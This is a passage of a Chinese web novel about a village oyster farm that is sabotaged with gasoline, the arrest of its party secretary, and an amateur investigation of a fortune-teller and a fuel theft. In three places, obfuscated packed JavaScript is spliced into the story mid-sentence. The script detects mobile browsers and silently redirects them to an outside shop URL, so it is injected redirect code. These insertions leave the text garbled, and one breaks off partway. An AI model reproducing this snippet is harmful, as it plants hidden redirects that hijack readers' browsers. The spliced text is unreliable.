徐夏慢悠悠解释起来:“花岗岩要是都挨在一起,这单位面积里牡蛎的密度就更大,万一有个体死亡了,就更容易传染给其他健康的个体。” “就和以前得瘟疫一样,有人病了就得单独隔离,照顾它的人还得带面罩,”这话说得浅显易懂,宁富田略一思考就明白了,“要是大家都住在一起,一传十,十传百,很快就变成个无人村了。” “而且密度一旦变高,排泄物也会大量堆积,不能及时排出去,饵料也会不够,不利于牡蛎的生长。”徐夏嘴里上说个不停,手上也没闲着,一边同宁文一边弯腰量距离,一边用小石头做着记号。 等两人量完整个养殖场,宁富田便吩咐大家讲花岗岩一起搬下来,插进地里。 养殖场插满后,竟然还多出来一块。 “这一块石头人家石场也不给退啊。”宁富田挠着头抱怨起来。 宁富田向来把钱看得紧,这多出来的一块石头,简直快心疼死他了。 宁文指着海塘的缺口说:“退啥啊,也没几个钱,干脆就摆在那儿,上面再刻几个字——牡蛎养殖场,免得有不长眼的跑进来捣乱。” “行吧,就按你说的办,”宁富田只得点头答应了。 徐夏拍拍手,拉起宁文就准备回家。 “哎,等等,”宁富田赶紧挡在两人面前,“这就完啦?苗种呢?” 徐夏眨眨眼:“大爷,您甭操心,只管回家安心等着,明儿一早来,保准上面就有牡蛎苗了。” 宁富田一挥手:“你这妮子,神神秘秘的,又在打什么哑谜。行吧,也辛苦你们了,家去吧。” 回到宁家,已经快八点了,收到消息的宁海和文昕已经做好了饭菜,正等着两人呢。 一家四口吃完饭,又唠了会儿嗑,便洗漱上床睡觉了。 宁文上眼皮打下眼皮,快要睡着的时候,突然被徐夏猛地一推。 “你干嘛?”宁文嘴里嘟囔起来,“累了一晚上呢,困死我了。” 徐夏:“还得去养殖场附苗呢。” 宁文:“啊!你不是和支书说只管回家等着就行嘛?” “我说的是让支书回家等着,没让你也回家等着,”徐夏手指一戳宁文的额头,“咱们这儿又不是啥牡蛎的聚集区,哪儿来的幼体游过来附着。” 宁文:“那咋办,我看你和他打包票的时候那么自信,明儿交不出货有你哭得。” “系统里有啊,头回三水姨捕对虾,网里面可带回来一只太平洋牡蛎。”徐夏手点点自己的脑袋。 “人家带回来的是成体,咱们需要的是幼苗,而且一只顶什么用?” 见宁文一脸不可置信,徐夏利落地打开图鉴面板,下一秒,她的手上就凭空出现了几只牡蛎幼体。 徐夏五指一合拢,牡蛎就唰地一下消失了,要不是她的手还湿哒哒的在滴水,宁文简直要怀疑刚才的一切都是她在做梦了。 “老天爷,你这系统真神了,”宁文惊呼起来,“这得花多少系统金币?” 徐夏摇摇头:“不用,只要有生物图鉴,可以随意调取任意数量、任意形态出来,一分钱不用花。” 这回不用徐夏催促,宁文就先打开了卧室的门,蹑手蹑脚走到文昕的房门口,把耳朵贴在门上,仔细地听起来。 “他们睡了,”宁文压低声音说,“快走!” 两人鬼鬼祟祟地溜出了家,乡下没有什么夜生活,去养殖场的路上一个人也没遇见。 到了海塘边,静悄悄地,只能听到海水不停地冲刷海塘的啪啪声。 徐夏手一挥,养殖场里便密密麻麻地布满了牡蛎幼苗。 “这就行了?”宁文好奇地问,“不用撒点饵料什么的?” “不用特意去喂,有天然的饵料,”徐夏指着海塘边的缺口说,“这儿有活水注入,潮流畅通,能带来大量的有机质和无机物,浮游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149504|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物就会大量繁殖,够它们吃了。 而且咱们这里冬暖夏凉,即使现在是冬天,也有十几度,很适宜牡蛎生长。” “行吧,那咱们快回家吧,”宁文打了个呵欠,“困死我了。” …… 第二天已经晒屁股了,文昕见两个女儿还没起床,先“砰砰砰”敲了三下门。 见没人说话,便直接推门进去。 只见徐夏和宁文正坐在床上,迷迷瞪瞪地揉眼睛。 文昕把早饭放到床头,一看两人的脸都愣住了:“你俩黑眼圈怎么这么重?” 宁文转过身一看徐夏的脸,乐得哈哈大笑:“你昨晚偷牛去了吧,黑眼圈快掉地上了。” 徐夏不怒反喜,将床边的圆形梳妆镜伸到宁文眼儿跟前:“你还好意思说我,你也没好到哪里去。” 宁文凑拢镜子一看,自己眼睛下面的黑眼圈,和徐夏是一模一样。 见文昕站在一旁起了疑,两人赶紧说是昨晚熬夜学习了,才搪塞过去。 早饭还没吃完,远远地就听见宁富田扯着嗓子在吆喝:“徐夏、宁文,快出来!” 徐夏擦了擦嘴,走到院子里,只见宁富田笑得眼睛嘴巴都快看不见了。 “你真神了,”宁富田冲徐夏竖着个大拇指说,“那花岗岩上全是牡蛎的幼苗。” 在宁富田眼里,这哪儿是牡蛎啊,完全就是活生生的聚宝盆儿啊。 徐夏伸出右手,分开五根手指说:“大爷,您先别高兴得太早,幼苗长成还得五个月呢。” 宁富田:“这五个月咱们啥都不用管?” “哪儿有这种好事,”徐夏摇着头说,“得每天有人上那儿巡逻,万一有什么风吹草动,得及时解决啊。” 养殖场有条道儿,有天然的海水注入,藻类和微生物丰富,不光利于牡蛎的繁殖,也利于另外一种生物——海星的繁殖。 那可是牡蛎的天敌,要是被它们做大了,不出两天,就能把牡蛎吃得干干净净,就留下满地的壳儿。 宁富田一口答应:“这不是什么大事儿,大队干部排个表,每人半天,轮流去巡逻就成。” “那就没什么问题了。”徐夏见养殖场这边一切都安排好了,便放下心来。 接下来的一个月,一切都按部就班的往前发展着。 学校里仍然半天上课,半天学农,学生们见证着牡蛎一点一点的生长。 解放大队的机帆船照常出海,有了宁富国和宁海血淋淋的教训,再没有人会不听宁三水的话。 但风平浪静,往往就是暴风雨来临的前兆。 这天周六放学,徐夏和宁文向往常一样去了中心小学找李萍。 哪知屁股还没坐热,宿舍门就咚咚咚地响起来了。 李萍一开门,外面站着的竟然是文昕。 看见文昕一脸的交际,李萍问:“家里出什么事儿了吗?” 文昕上气不接下气地说:“出大事了,咱们队的养殖场,要被查封了!快跟我回去吧。” 59.第 59 章 “啊?”宿舍内的三个人都被文昕的话惊呆了。 宁文从李萍胳膊下方钻出来,满脸焦急:“妈,怎么回事?办养殖场的事不是和公社递交了申请了吗?怎么会突然被查封了。” 文昕一把拽过宁文放在自行车后座上,冲着宿舍里面喊:“没时间了,徐夏,你也快出来,路上慢慢给你们讲。” 李萍:“行,我收拾一下,和你们一起回去。” 说完,李萍忙不迭进了屋,从抽屉里取出一张方形素布摊到桌上,打开衣柜,拿出一套换洗衣物包了起来。 幸好文昕把队里的自行车骑来了,徐夏载着李萍,四个人正正好两辆车。 文昕一边骑一边说起了来龙去脉,原来今天一大早,公安上解放大队把宁富田带走了。 自打一个月前开始养牡蛎,宁富田就给大队干部排了一个值班表,三班倒,轮流在养殖场值守。 值守的时候总不能在外面站八个小时吧,解放大队就在牡蛎养殖场旁边搭了一个临时的休息棚,当日负责值守的队干部要是在外面待累了,就可以上里面休息会儿,万一有个风吹草动,立马就能听见。 今天的白班轮到宁富田,他一大早就吃完饭上海边儿去交接班了。 按解放大队的规矩,上一个班的干部一定要等到下一个班的干部到场,才算交接完成。 宁富田到养殖场的时候,广播刚报完时,是早上六点,外面一个人影儿都没有,只能听见休息棚里鼾声如雷。 宁富田嘴里哼着歌儿,撩开休息棚的帘子,一队的生产队长宁国华在里面打了个地铺,侧身躺在床单上,呼噜打得震天响,睡得正香,连宁富田走进来的动静都没将他吵醒。 仔细瞧,被褥旁还散落着一张用来包食物的油纸,宁国华嘴角还挂着些淡黄色的食物残渣,看来他多半是饱餐一顿后才睡下的。 宁富田估摸着离换班还有一会儿,也没叫醒宁国华,将地上的垃圾捡起来,就打帘出去了。 出了休息蓬,宁富田才觉得有些不大对劲儿。 他闻到了一股子浓烈的怪味。 沿着味道传来的方向一直向前走,竟然慢慢走到了海塘的缺口处。 眼前的景象让宁富田的心凉了半截。 老天,靠近缺口处的原本清澈见底的海水此刻变得浑浊不堪,附近的牡蛎也被染成了小黑煤块。 坏了,牡蛎被污染了。 宁富田顾不得许多,脱了脚上的布鞋,水鞋也来不及套,赤脚插进水里,急匆匆地就朝离他最近的一个花岗岩走。 走进了,伸出手指一摸黑乎乎的牡蛎壳,只觉得皮肤凉悠悠的。 宁富田皱起眉头,觉得全身上下都开始不舒服,眼睛痒痒的,喉咙吞咽也有异物感。 定睛一看,他手指上沾着一种黑色的粘稠液体,还没将手指伸到鼻子下闻起来,那怪异的味道就钻进了宁富田的鼻腔,刺激得他直咳嗽。 宁富田只觉得头大如斗。 这下可好,眼泪混合着鼻涕一起流了出来。 宁富田赶紧拿另一只干净的手从上衣口袋里掏出张草纸,迅速在脸上开了一把,又秉持着节约用纸的原则将手上的黑色液体擦拭干净。 人类的本能让他想要远离眼前这黑乎乎的液体,许是同这刺鼻气味接触久了,宁富田不受控制地干呕起来。 几次下来,宁富田直接哇地一声将早饭呕了出来,将海水搅活得更浑了。 宁富田气得在心里直骂爹,昨天下午他还来养殖场看过,一切正常,怎么才过了个晚上,就变成这番光景? 这黏糊糊的液体不可能是牡蛎的排泄物,肯定是有人来搞破坏了。 这宁国华是怎么回事,半点异常都没发现吗? 宁富田三步并作两步爬上岸,脚也来不及擦干净,汲上布鞋就往休息棚里赶。 “国华叔!国华叔!快别睡了!醒醒!”宁富田急得想杀.人,声音又大又急促。 哪知休息棚里宁国华睡得和死猪一样,半点没被宁富田的大喊大叫吵醒。 伴随着此起彼伏的呼噜声,他硕大的罗汉肚也在上下抖动着。 宁富田气不打一处来,也顾不得什么亲戚辈分了,蹲下身,把宁国华的脸拍得啪啪作响:“宁国华!你给我起来!” 几巴掌下来,宁国华的脸上就留下了鲜红的五指印。 “啥啊……”宁国华这时候才悠悠醒转过来,眼皮却像是黏了胶水一般,只掀开了一条缝看人,“富田,你咋来了?” 宁富田:“你咋睡得这么沉?养殖场出事了,你就没听见点声儿?” 听到这话,宁国华睡意全无,一个激灵坐起来,穿上鞋就往棚外面跑,看到海水上漂浮的黑色黏液,一双眼瞪得老大。 见宁国华也要往水里走,宁富田赶紧上前把他拦住:“国华叔,现在下去也晚了,你仔细想想昨晚有没有人搞破坏?” 宁国华双眼快滴出血来了,皱起眉头,努力回忆。 哪知昨晚的记忆仿佛缺失了一般,越想宁国华越觉得头疼,最后竟捂着头痛苦地哀嚎起来。 宁富田闭上眼,难道解放大队被人算计了? 正想着,一阵短脆而急促的“哇儿哇儿哇儿——”声从远方传来。 回头一看,身后地面的尘土仿佛被无形之手掀起,形成了一道朦胧的灰黄色屏障。 随着警笛声消失,两辆警车开到了养殖场边。 车停稳后,噼里啪啦下来五六个头戴大檐帽,大身着藏蓝色制服的警察。 宁富田见下来的公安里面并没有老熟人卫红,暗道不妙,赶紧迎了上去:“领导,到我们这儿来有啥事吗?” “我是市公安局的李永丰,不是什么领导,”领头的公安啪地一声亮出自己的证件,一板一眼地说,“接到群众举报,解放大队养殖场涉嫌非法排污,污染海水,特来调查情况。” 自己前脚发现养殖场被人搞破坏了,后脚市公安局就上门来了,这是个局啊! “误会,误会……”宁富田急得焦头烂额, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157021|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时之间也想不出别的话来,只能伸出手一边挡住李永丰一边反复念叨。 宁国华此时也回过神,挨着宁富田就挡在了李永丰面前。 “老乡,我们就是来调查情况的,你别为难我,”李永丰见状也不生气,给身后的几个公安使了个眼色,“小王,你们去四处看看。” 双拳难敌四手,宁富田和宁国华两人能拦住李永丰,却挡不住剩下几个年轻的公安。 “李队,快来看,这儿真有问题!”站在海塘缺口处的几个公安大叫起来。 听到这话,李永丰是一点情面都不留,一把劈开宁富田和宁国华的手的手,脚不沾地就走了过去。 走拢之后,李永丰冷哼了一声,回头看向宁富田的眼神变得冰冷而严肃:“封锁现场,通知环境部门,来调查取样。” 几个公安训练有素的拉起了警戒线,将养殖场围了起来。 李用丰走回来,眼神在宁富田和宁国华脸上来回扫视,冷冷地问:“你们这儿的负责人是谁?通知他来一趟现场。” “是我,”宁国华上前一步,干脆地说,“我是大队支书,有什么事情我负责。” 宁国华这是知道自己惹了祸,想戴罪立功啊。 宁富田一把推开宁国华:“国华叔,别捣乱。李队长,我是解放大队的支书,我叫宁富田,国华叔只是一队的生产队长,他付不了责任。” 李永丰的声音听不出任何感情:“宁支书,那就只能麻烦您跟我跑一趟了。” 宁富田此时已经冷静了下来,见身后的一个年轻公安从裤子口袋里掏出手铐,他平心静气地拒绝:“公安同志,手铐就不用了,我会配合你们的。” 李永丰微微摇了摇头,年轻公安才将手铐重新放回口袋里。 “宁队长,请吧。” 宁富田只得老老实实跟着李永丰上了警车。 李永丰和另一个年轻公安一左一右将宁富田夹在中间。 刚一落座,宁富田突然挣扎着想站起来。 李永丰一把将他按回座位:“你干嘛?” 宁富田揉了下被李永丰按疼的肩膀,竖起一根手指伸到李永丰面前:“李队,我能和国华叔说句话吗?就一句。” “行吧,别耍花样”李永丰点点头,将车窗降下来一半。 宁国华三步并作两步,跑过来,趴在窗户上。 “国华叔,我和公安同志去一趟,不用担心,你赶紧去宁海他们家,把事情经过讲清楚,”宁富田语速,“记得让他们把徐夏也找带上!” 话音刚落,李永丰就将车窗摇了起来。 一阵轰鸣过后,两辆警车就急驶着离开了解放大队,只留下满地的灰尘。 宁国华一秒钟也不敢耽搁,急忙跑到解放小学。 哪知宁海和文昕正在上课,宁国华想来想去,直接冲进了教室里,将两人唤了出来,把事情一五一十地讲了出来。 听完他的话,宁海和文昕也急得像热锅上的蚂蚁,恨不得立刻就去养殖场看看。 60.第 60 章 但是宁富田走的时候也没告诉宁国华到底有什么问题,故而在文昕和宁海两人耳里,还以为是养殖场发生了污染。 一直以来解放大队的主心骨都是宁富田,眼下他突然被公安带走了,解放大队的干部们乱成了一团散沙。 还是文昕先冷静下来,解放小学的课不能耽搁,让宁海在学校里带着两个班,她先去公社派出所找卫红,毕竟是一个系统的,看她知不知道什么消息。 文昕上队里骑上自行车,立刻就往公社赶。 哪知去了却扑了个空,卫红还在县公安局没回来。 原本连环抢劫案结束后,专案组解散,来自各个派出所的公安都该各回各家,各找各妈。 但县公安分局的领导觉得卫红是个人才,干脆出了个长期借调函,把卫红留下来了。 文昕同派出所的人只好双腿把车轮蹬得快冒烟了,终于在中午之前赶到了县里。 赶巧了,分局的警察说卫红出去巡逻,还没回来,让文昕在报案室坐着等她。 文昕从来没觉得时间这么漫长过,只能一直盯着报案室墙上挂着的钟。 时针足足走了两个字,卫红才满头大汗地回到了分局。 一进来,卫红见文昕满脸焦急,知道她家里一定是出事了,赶忙将她带进了办公室。 文昕坐下后,水也来不及喝,竹筒倒豆子一般将事情细细讲给了卫红听。 卫红越听眉头皱得越紧,一通电话打到了她过去警校的老班长,现在市公安局警察王卫东那里。 这电话一打就是半个小时。 挂完电话,卫红告诉文昕,市公安局的领导今天一大早上班,在大门口捡到一封匿名信,内容是举报解放大队养殖场非法排污,污染海水。 污染环境可是重罪,市公安局立刻就派人下来查。 这不,就把宁富田给带走了,但是具体什么情况还要等环境部门的检测结果。 卫红又将文昕安慰了一番,告诉她如果检测结果显示不是养殖污染,宁富田就会被放出来。 文昕却听出了她的话外之音,万一真是养殖污染,那宁富田岂不是会被关起来。 思来想去,文昕还是按宁富田的嘱咐,去了中心小学找徐夏。 文昕将事情的来龙去脉讲完,四人不知不觉已经骑回了解放大队。 徐夏:“婶儿,这事多半不是养殖污染。” 这牡蛎的养殖过程,一直是天然无公害的,怎么可能会污染海水。 文昕听见这话,一下子抓紧了车把手,自行车“呲啦”一声刹停了。 惯性使然,宁文直接从后座摔了下来。 “哎哟,”宁文惨叫一声,拍拍身上的灰尘,重新跳上文昕的后座,“你继续说,” 徐夏:“婶,我们能先去养殖场看看吗?” 文昕摇摇头:“那边都被公安给封了,进不去,我们还是先去国华大爷家里去吧。” “没事,我们就在外围看看是什么情况。”徐夏坚持道。 文昕拗不过,只得调转方向,带着两人上养殖场了。 到了养殖场,果然如文昕所说,被围了一圈封锁线,里面有穿着制服的人正在取样,封锁线外围还站着两个公安。 徐夏停好车,给宁文使了个眼色,就向封锁线走去。 接到徐夏暗示的宁文,一只手扯着文昕,另一只手按着自己的腿,“哎哟哎哟”大叫了起来。 徐夏:“……” 把文昕唬得还以为她刚才摔坏了腿,赶忙把宁文扶回队部的办公室休息。 两个公安见徐夏越走越近,异口同声:“干什么的,不准过来!” 徐夏:“公安叔叔,我就站在这看看,不捣乱。” 公安见徐夏只是站在封锁线外面,也就闭了嘴。 远远地望见海塘缺口处的黑色海水,一股子熟悉的晕车味袭来,徐夏快速在识海里唤出系统:【统子,上回你用的实验室快速检测,能隔空使用吗?】 系统:【宿主,不是和你讲过了,实验室功能你现在用不上嘛!】 徐夏:【100个金币?】 系统不吭声。 徐夏:【150个?】 系统仍然一言不发。 徐夏深吸了一口气:【200个!】 系统:【得嘞,这就给您检测。】 果真是个见钱眼开的系统,徐夏一边骂系统一边心疼自己又归零的金币。 几秒钟的功夫,系统面板上就跳出一行大字:【宿主,检测到汽油。】 看到系统的这个结论,徐夏终于放下心来。 牡蛎的排泄物,怎么也不可能是汽油。 看来等环境部门出了结果,宁富田就能安然无恙地回来了。 “怎么样,看出什么没有?”宁文突然钻了出来。 “没有,不过闻这个味道,倒像是汽油,”徐夏摇摇头,见宁文后面空无一人,奇怪地问,“文婶人呢?” “啊?汽油”宁文惊呼出声,直接把封锁线外面站着的两个公安目光吸引了过来。 “我骗她说脚扭了,她回家拿红花油去了,”宁文压低声音,指着两个公安说,“那等他们查清楚,大爷就能放出来了吧?” 徐夏皱着眉:“这只能证明咱们养殖场没问题,但是不能证明咱们队没人排污,我们必须得把这从中作梗的小人揪出来,替咱们大队彻底洗清嫌疑,不然找不到这罪魁祸首,一是大爷估计还是不能出来,二是难免他将来继续搞破坏。。” 有人陷害这一点倒是和宁富田走之前下的结论不谋而合了。 必须把坏人揪出来,只有千日做贼的,哪有千日防贼的。 宁文:“不会吧,谁这么无聊?再说汽油也挺贵的,这搞破坏的成本也太高了,这么蠢的办法,也只有一个人干得出来。” 徐夏:“谁?” 宁文掰着手指头算起来:“刘棒槌呗,不过按时间,他还在劳改农场待着呢。” 徐夏手捏下巴,一把撩开休息棚的帘子:“这事情还有个疑点,你来看,如果是有人故意搞破坏,曾大爷昨晚值班, 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宁国华从怀里掏出个油纸包,颤颤巍巍打开,将半个驴肉火烧递到两人眼前:“我没舍得全吃完,就掰了一半。” 徐夏接过一看,这半个驴肉火烧放在宁国华怀里一夜,竟然还是温热的。 吃了东西就睡死了,这听起来怎么和上回陈幺妹给宁玉竹和宁玉梅下药那么像? 只是徐夏刚才一大方,把系统金币花了个一干二净,现下是没有办法再启用快速实验功能,看看里面有没有什么奇怪的物质。 徐夏看着远处采样完毕,站在岸上收拾工具的工作人员心生一计,将驴肉火烧重新用油纸包好,三两步跑到公安面前,一边比划一边说着什么。 临了,两个公安接过徐夏手里的油纸包,递给了检测人员。 其中一个公安走过来,对着宁国华客气地说:“麻烦您和我们跑一趟,去录个口供。” 宁国华听到这话,慌了神,看向徐夏:“你这妮子和人家说了什么话,怎么把我也要带走。” 徐夏安慰道:“曾大爷,你别担心,去了公安局,就把昨天和今天发生的事,特别是这驴肉火烧的事,从头到尾讲一遍,不会为难你的。” 公安也附和道:“录完口供您就能回来了。” 宁国华这才放下心,跟着这公安离开了养殖场。 宁文见公安走了,才问:“徐夏,你和人家公安说了什么?” 徐夏:“我说有案件情况补充,便把曾大爷吃了驴肉火烧就睡晕过去的事讲了,人家公安同志也负责,说要回去一并检测看看。” “你是怀疑秦凤仪在里面捣鬼?”文昕地声音突然从身后响起,她一把扯住宁文的耳朵,“你不是说脚扭了吗?怎么这才一会儿就没事了?” 宁文一边蹲下身捂住脚一边“哎哟哎哟”惨叫了起来,演得那叫一个假。 徐夏忍住笑:“没错。” 61.第 61 章 “不大可能,她虽然有作案动机,但是没有作案时间。”文昕轻轻摇头。 自打刘棒槌被关进了沙洋劳改农场,秦凤仪就连带着把解放大队的一干人等都恨上了,只要揪住机会就给大家使绊子。 徐夏和宁文异口同声:“为啥?” 文昕缓缓解释起来:“昨天是周五,晚上我在小学给大家上识字课,秦凤仪就坐在第一排。” 宁文:“她不是认识字嘛,怎么还去上这个课?” 秦凤仪算是解放前队里少数几个认识字的,就是心思不在正途上,当了神婆,装神弄鬼的糊弄人。 文昕摊开手耸了耸肩膀:“人家想来学习,你总不能阻止吧,以为谁都和你似的,天天就想玩儿。” 宁文:“……” “婶儿,识字课几点结束的?”徐夏皱起眉头,思索起来。 文昕:“九点。” 徐夏:“会不会是上完课,她跑去养殖场干的?” 宁文:“对对对,她完全有时间去搞破坏。” 文昕这次头摇得更快了:“那更不可能了,快下课的时候,秦凤仪捂着肚子直喊疼,最后更是摔到地上打滚了,还是我亲自把她送去了公社卫生院呢。” “妈,你这也太好心了,”宁文抱怨起来,“要是我,就随她疼去呗。” “在学校,我是老师,就要对学生负责,无论她是谁,都不能有偏见,”文昕无奈地说,“我们在卫生院里面待到天快亮才回的家,所以她根本不可能有时间作案。” 文昕这一番话,算是暂时洗清了秦凤仪的嫌疑,三人都陷入了沉思中。 “滴滴滴”一阵喇叭声传来,划破了宁静。 三人回头一看,竟然是卫红骑着她那辆两轮挎斗摩托车来了。 只见卫红长腿一跨,翻身从车座上下来,又弯下腰从挎斗里取出个牛皮公文袋,一边向三人走一边解开缠绕在公文袋上的白绳。 徐夏很是高兴:“卫姐,你怎么来了?” 一般卫红来找他们,都会带来些好消息。 “喏,自己看,”卫红抽出一张黑白照片,递到三人面前。 徐夏接过来一瞧,只见黑白照片里是一封信。 奇怪的是,信的内容并非是手写的,而是把书刊上的铅印字撕下来,再拼凑成一段话,重新粘贴在了纸上。 卫红:“我亲自去了趟市局,具体内情没说,但是他们给了我这封举报信的复印件。” 宁文感叹道:“嚯,这人够谨慎的,既不署名,还不自己手写。” “等等,”徐夏指着黑白照片的一角说,“你们看,这信纸上是不是有印花。” 宁文扯过照片,眯起眼睛仔细辨认起来:“好像是‘三……会’,太模糊了,我认不出。” “是三命通会?”一直沉默的文昕发出了声。 “对对对,”宁文瞪大了眼睛,“就是三命通会,妈,你没看怎么知道的?” 文昕四处张望了一下,压低声音说:“《三命通会》是一本命理书,讲的是怎么通过八字推算人的命运。” 卫红:“按理说,这种算命的书现在是买不到的啊。” 现在倡导破除封建迷信,和神神鬼鬼有关的书一不准出版,二不准传阅。 徐夏:“可咱们村有一个人家里可能有。” 答案已经呼之欲出了,除了靠迷信活动红骗人的秦凤仪,还能有谁? 宁文:“怎么绕来绕去,又回到了秦凤仪这里。” 卫红:“这人是谁?” 三人便将自己的怀疑一点一点讲给了卫红听。 卫红越听眉头皱得越紧:“看来这件事,她脱不了干系,干脆我们去找她问个清楚。” 说完,四个人便急匆匆往秦凤仪家赶。 到了她家门口,只见大门敞开。 宁文一个箭步就往里冲,徐夏赶紧将她拽了回来:“先敲门。” 说完,徐夏就砰砰砰扣起了门。 院子里静悄悄的,一点声音也没有。 徐夏高声喊起来:“秦大妈?” 还是没有回音。 “走吧,进去。”宁文推搡着徐夏进了院子里。 秦凤仪家的格局同宁家很类似,四人分头进了堂屋、卧室、厨房和屋子后面的地窖。 “没人,衣柜都空了。”宁文跑得快,第一个从卧室里走了出来。 “这边也没人,水池里有一堆没洗的碗筷,”文昕此时也检查完厨房,左手捂着鼻子走了出来,右手摊开往前一伸,“但是灶台上有包东西。” 只见文昕右手手心里躺着一张黄纸,上面有一团白色的粉末。 “快过来!”徐夏和卫红的声音从地窖里传出来。 文昕赶紧将手里的粉末重新叠好收进怀里,两人绕到屋子后面,小心翼翼地顺着梯子下了地窖。 怪哉,这地窖里没放什么食物,反倒是有一张木桌,上面摊着剪刀、锤子等工具。 此时卫红正举着个煤油灯,同徐夏在翻着一本书。 见宁文和文昕下来了,徐夏将书合上,从桌上拿起来。 卫红将煤油灯凑到书前,宁文上去一瞧,封面正写着一行大字——《三命通会》! 徐夏又将书放回桌,哗哗翻了几页,纸张上出现了几个缺口,有些裁剪下来的痕迹。 卫红从包里拿出黑白相片,放到旁边一比对,正正好好,信纸上贴的单个字的外形同书里的缺口严丝合缝。 徐夏指着木桌上的一个破旧的碗:“这里还有一碗已经凝固的浆糊。” "这信果然是她写的!"宁文看到这里,斩钉截铁地说。 文昕:“那她又是什么时候把信送到市里去的?一整晚她都和我待在一起。” 徐夏:“应该还有个同伙,这秦凤仪还挺聪明,知道让文婶你做她的不在场证人。” “对了,刚才我妈还在厨房里找到了一包粉末。”宁文补充道。 文昕将怀里的粉末掏了出来,放到了木桌上,将刚才卧室和厨房的情况一五一十地讲了出来。 “看来她多半是心虚跑了,”卫红打开黄纸,用手黏了一点白色粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“李大柱,你有话好好说,公安同志可不吃一哭二闹三上吊这一套。”男子旁边的中年女性呵斥道。 被唤作李大柱的男子小声解释道:“孟主任,我这也是着急啊,耽误了厂里的活可怎么办。” “同志,擦擦眼泪,冷静点,我们一定会查清楚的,”卫红从张金泉办公桌上扯下两张卫生纸递给李大柱,“小张,什么情况?” “这两位是纺织厂的同志,左边这位女同志是采购科的孟主任,右边这位男同志是汽车板的李大柱,”张金泉将记录本递给卫红,又指着面前的人介绍起来。 卫红结果记录本一看,上面赫然写着,纺织厂汽车班汽油失窃。 “同志,是这样的,今天一早,我和李大柱按照厂里面的安排,要去收购站买大白菜,”孟主任慢慢讲起了事情的经过,“结果到了汽车班准备开车的时候,发现油箱里的汽油竟然无故消失了。” 怪不得李大柱那么慌,他是汽车班的班长,汽油没了,第一个怀疑的对象就是他。 “孟主任,你快把录像带给公安同志们看看吧,”李大柱急得额头开始冒汗,“好让他们早点把小偷抓起来,还我一个清白。” 62.第 62 章 卫红:“录像带?” “对,我们厂今年下半年从国外引进了闭路电视监控系统,安装在一些重要位置,这样能节省不少巡逻的人力物力,”孟子云从斜挎包丽取出一卷录像带放到桌上,“这监控靠电缆传输视频,全部记录在录像带里面,每天都有一卷。” 李大柱一把将录像带拿起来,伸到卫红面前:“公安同志,里面清清楚楚地拍到了偷汽油的小偷,你们快点去抓人吧。” 卫红:“拍到样子那就好办了,你们稍等一下,我打个电话问革委会借个录像机回来。” “不用这么麻烦,”李大柱从地上提起一个箱子,小心翼翼地拆开,取出一台机器放到桌上,“我们从厂里面把录像机带来了,连上电视就能播放。” 卫红指着报案室中央的黑白电视机说:“那敢情好,快连上吧。” 李大柱闻言利索地把录像机抱到电视机跟前,先将正在播报早间新闻的黑白电视机电源关掉,再 数出三根黄、白、红色的电线,分别插入对应的接口。 再咔哒一声打开录像机,将录像带放进去。 重新摁开电源,电视机屏幕嘶嘶作响,布满了密密麻麻的雪花。 “哎,公安同志,你们这电视机质量不行啊,还不如我们厂里的。”李大柱从地上站起来,小声抱怨道。 卫红见状走过来,猛地一拍电视机顶部,刚才还没有信号的屏幕瞬间跳转出了监控视频。 “这不就行了。” 李大柱缩着脖子干笑起来:“嘿嘿。” 这视频分辨率不是很高,屏幕上并排停放着纺织厂的五辆货车,左下角一行白字显示着日期是前天。 李大柱指着从左往右数第四辆货车的位置说:“同志你看,这就是失窃的那辆货车。” 孟子云见视频是从前天早上开始播放的,催促道:“李大柱,你把视频快进啊,这从头开始看要等到什么时候?该着急的时候就不着急了。” 李大柱又重新蹲下去,在录像机上摁了几下,视频时间就开始不停地向前跳转。 几分钟后,就转到了晚上十一点多,一个黑色的身影突然出现在了屏幕上。 “停停停!”孟云阻止道,“过了过了,快退快退!” 李大柱连忙开始倒带,直到黑色的人影消失才咔嗒一声按下了播放键。 卫红屏住呼吸,眼睛一刻也不敢眨地盯着屏幕。 报案室里安静的能听见窗外清洁工挥舞着扫帚清洁地面的沙沙声。 “就是这!”李大柱手指着屏幕,尖叫起来。 刚才消失的黑衣人又重新出现了。 黑衣人低着头,左手提着一个塑料灌装桶,鬼鬼祟祟地走向第一辆货车。 摸到油箱的位置后,将灌装桶放在地上,右手从怀里掏出根铁丝,插进锁孔里,转了几下。 黑衣人伸出左手往外掰扯油箱盖,盖子却纹丝不动。 黑衣人只得将铁丝拔出来,又在第二辆和第三辆车上如法炮制试了一番,都没能把油箱盖打开。 直到第四辆。 黑衣人可能是累了,手一抓住油箱盖就往下倒。 哪知道油箱盖就这样被他拔了下来。 张金泉看到这里,面部忍不住抽搐:“李同志,你们这油箱盖坏了啊?” 李大柱吐了下舌头,小声辩解:“这不工作忙,还没来得及去修嘛,谁知道这么巧,就遇到小偷了。” “别吵,继续往下看!”卫红不想错过一丁点儿有用的信息。 